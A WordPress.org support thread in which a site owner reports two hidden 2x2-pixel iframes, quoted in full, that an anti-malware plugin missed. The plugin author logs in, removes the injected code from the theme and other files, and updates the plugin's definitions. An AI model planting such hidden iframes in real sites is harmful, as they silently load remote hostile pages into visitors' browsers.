WordPress.org

Forums

Anti-Malware and Brute-Force Security by ELI
[resolved] Malware www.phrae.com iframe not detected (8 posts)

  1. davga
    Member
    Posted 2 years ago #

    Hi Eli,
    i've just installed the plugin but it seems not to detect the malware in my site.
    Google say that are 2 hidden iframe:

    <iframe src="http://www.phrae.tv/images/update.php" width="2" height="2" frameborder="0"></iframe>

    and

    <iframe src="http://www.scs.tv/wp-content/themes/twentyeleven/colors/update.php" width="2" height="2" frameborder="0"></iframe>

    How can i solve the problem?
    If you need it i can send you the file list.

    thank you for your support.
    Davide

    http://wordpress.org/extend/plugins/gotmls/

  2. Eli
    Member
    Plugin Author

    Posted 2 years ago #

    I would need more info to help. You can send me the file list but I would also like to see the infected pages myself. Can you also send a URL to an infected page?

    Aloha, Eli

  3. davga
    Member
    Posted 2 years ago #

  4. Eli
    Member
    Plugin Author

    Posted 2 years ago #

    I see the iframes now. It looks like they might have been injected into your theme. I don't like it when my plugin fails to find a real threat like this and I would love the opportunity to update my definitions with this new threat. If you are willing to give me access to your WP Admin I will find it, get rid of it for you, and update my plugin for everyone.

    If you want to contact me directly and didn't see my blog links in the plugin you can email me: eli at gotmls dot net

  5. davga
    Member
    Posted 2 years ago #

    Done.

  6. Eli
    Member
    Plugin Author

    Posted 2 years ago #

    Thanks for the login.

    I got rid of the obvious threat in the theme header.

    I'm still looking for anything else that may still be hiding but it looks clean now.

    Aloha, Eli

  7. Eli
    Member
    Plugin Author

    Posted 2 years ago #

    I added this new threat to my definition update and found and removed it from 5 more files on your site. It appears that the threat is completely gone now.

    Aloha, Eli

  8. davga
    Member
    Posted 2 years ago #

    Hi Eli,
    thank you for your support.
    The malware seems gone now.
    Your plug in ROCKS!
    5 STAR for you.

    Bye,
    Davide.

Topic Closed

This topic has been closed to new replies.

About this Plugin

About this Topic

Tags

No tags yet.